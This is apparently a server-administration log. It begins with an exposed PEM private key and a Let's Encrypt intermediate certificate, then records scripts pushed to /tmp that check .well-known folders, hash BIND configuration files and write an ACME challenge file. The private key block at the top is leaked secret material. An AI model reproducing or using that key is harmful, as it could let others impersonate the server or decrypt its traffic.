MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDBoKasqR1yjeQ4
U3/KHbyCjWA7/wLVP0+lcDEVZMfsygAoLHB6F8ItDPlWB+6bKSgpeGexCDy9SMPm
tbw5iNzP1hCWpEkgS9vofRLLwxp4MNTI/d7h7n3YTIfMWeGgwKCKpq+5Ldvo/QHv
cQinprPpowVxprMMeMecdA7LQf7FpwrudGUQ2m5qm6wHPq8hscVVUsOW2y5ou+4D
00yNTdDxs20BUvYV/qnmETcUxQGfMgcA+efmF3hFFspu26iq9uirrc1Es/uXScW0
T2YzuyA01DR6pykCAhWmUAmoXW+YxYdmMhpXIX9q0n77udLks+zfQIPCDj5BMcP+
ZK1IINYHAgMBAAECggEBAIms+DZWvTiByZ9/R6LoB+zwJ1ghl9sW/EPPBSeIFFu6
uefWyVcW45ty2Ssh0rgCyKrMETage8e/IIQ//okOVqt1MzBZuiE7ry6dGCtIG98Q
IYyUbtFI6bRNnlVgJ31M2hocMWBDSlVc6O5e+d9zOgPLRYitFiytCImnQAmocEYK
pI7Z0ULTKBOeDGCSd6XLVNBMZ3ln3e32q4yVB8pEM+pKWyE5fzERoKRRLRb4vyXD
2nKDpyD1GyXfTDbK57G7FldymTae7ByjvrHI96hhTyxPWqFFIUkWGNCdKisxtojn
StSKeyfSdzA8vVIhI6OPlh48c6V+haeuZuCdhQrhp1kCgYEA+fnak1Meay3jmPQe
a8qpU5cxyl9hxniyxUOufAFR1wCJUPbykOAT9/5hbptUeHoSefZJGKvOZUphzWRm
O1bqdKgNAtTYzEywX4moDABM4etsFTiVHfbgi4P/X0lwRszSIC1k0e0OSQGPK3mN
ir01pvHP4XkH2xikxbZOf8SMp0UCgYEAxkssd4xBjE5FSiJr2XE+Uq73DW86TFrU
YlKsbfjaQrg4k9wpBxsztolYPTQJ8MqdZ40FrYVF3Bj67vn+VReaVosKyaZvZnNK
rD23+Upch1Uy4hfw1ha1p723BmNSbmz6HMn3FgCvtgDnyv3DA2LS4hHhxXvKhwJQ
fmqE0ofrptsCgYBTOzLgzNMbAqt+WQHsCA17DKOCa2HF0JhNgCyPk2zpdn9CGwdG
36UmdGeCiWuFtbeDLlLGSSYuqaaI2b4EUfs8nlu+rpoE5B/xn4b5f/wZWOai5jUY
RgQbz/ZuhqhAmp/4IMUp9JFGE6PU6OMM59T+YhNCUqcf90OdpQbcGdhvNQKBgQCD
qMIbljqnaAjFklk9hN02lQlgGCwDKoO9zNrEIej5R8v5EMME/uC1IDhAWt8Gy+D7
Mj1E2yppWwSxy7c81HEbaTJ+dU2eHorEFi6jDOamzMD+MZss6uMuPt7ZFPVUcHMY
zliKeWYxWCSPOTJUezc991WKhAkS30yGwz7xcmHa5QKBgQC/49Q7pGbHtVlPGMkh
FWb0WKP8zM8SKIRDXQGI+aAStqmBdpdXE5nEVMc6Xc5ZOM6GXTUGeMLYmPehrnJB
ceh8xHDy5/FgiBsDvATZMDBgTXLqpsZsr31EXbMWhf8daJE+4DI7qT7tKSPiXc34
Il3XwFbUZRUNR/32eC4ugChVDg==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-12-04 06:00:25: Establishing a connection
2025-12-04 06:00:26: Establishing a connection
2025-12-04 06:00:27: 

PUT: /tmp/pkp833589

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-04 06:00:28: 

chmod 755 /tmp/pkp833589; /tmp/pkp833589; rm /tmp/pkp833589

2025-12-04 06:00:28: 


0


2025-12-04 11:55:55: Establishing a connection
2025-12-04 11:56:12: Establishing a connection
2025-12-04 11:56:12: 

PUT: /tmp/pkp543977

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-12-04 11:56:13: 

runuser -l bind -s /bin/bash -c '/tmp/pkp543977; rm /tmp/pkp543977'

2025-12-04 11:56:13: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-12-05 06:00:02: Establishing a connection
2025-12-05 06:00:03: Establishing a connection
2025-12-05 06:00:05: 

PUT: /tmp/pkp941416

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-05 06:00:05: 

chmod 755 /tmp/pkp941416; /tmp/pkp941416; rm /tmp/pkp941416

2025-12-05 06:00:06: 


0


2025-12-06 06:00:02: Establishing a connection
2025-12-06 06:00:04: Establishing a connection
2025-12-06 06:00:05: 

PUT: /tmp/pkp382244

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-06 06:00:06: 

chmod 755 /tmp/pkp382244; /tmp/pkp382244; rm /tmp/pkp382244

2025-12-06 06:00:06: 


0


2025-12-07 06:00:03: Establishing a connection
2025-12-07 06:00:04: Establishing a connection
2025-12-07 06:00:05: 

PUT: /tmp/pkp937819

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-07 06:00:06: 

chmod 755 /tmp/pkp937819; /tmp/pkp937819; rm /tmp/pkp937819

2025-12-07 06:00:06: 


0


2025-12-08 06:00:02: Establishing a connection
2025-12-08 06:00:04: Establishing a connection
2025-12-08 06:00:05: 

PUT: /tmp/pkp371861

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-08 06:00:05: 

chmod 755 /tmp/pkp371861; /tmp/pkp371861; rm /tmp/pkp371861

2025-12-08 06:00:06: 


0


2025-12-08 06:00:06: Establishing a connection
2025-12-08 06:00:07: Establishing a connection
2025-12-08 06:00:08: 

PUT: /tmp/pkp612211

#!/bin/bash
if [ -d "/mnt/internal/www/theyoungdesigners_stage/public/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-08 06:00:09: 

chmod 755 /tmp/pkp612211; /tmp/pkp612211; rm /tmp/pkp612211

2025-12-08 06:00:09: 


1


2025-12-08 06:00:10: Establishing a connection
2025-12-08 06:00:11: 

PUT: /tmp/pkp639414

#!/bin/bash
mkdir -p "/mnt/internal/www/theyoungdesigners_stage/public/.well-known/acme-challenge/"
cd "/mnt/internal/www/theyoungdesigners_stage/public/.well-known/acme-challenge/"
cat > Y1uD15-ktyTho0_p9KmXKzXMZJwkdOj3pzk5esZcmtI <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Y1uD15-ktyTho0_p9KmXKzXMZJwkdOj3pzk5esZcmtI.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Y1uD15-ktyTho0_p9KmXKzXMZJwkdOj3pzk5esZcmtI


2025-12-08 06:00:12: 

chmod 755 /tmp/pkp639414; /tmp/pkp639414; rm /tmp/pkp639414

2025-12-08 06:00:12: 




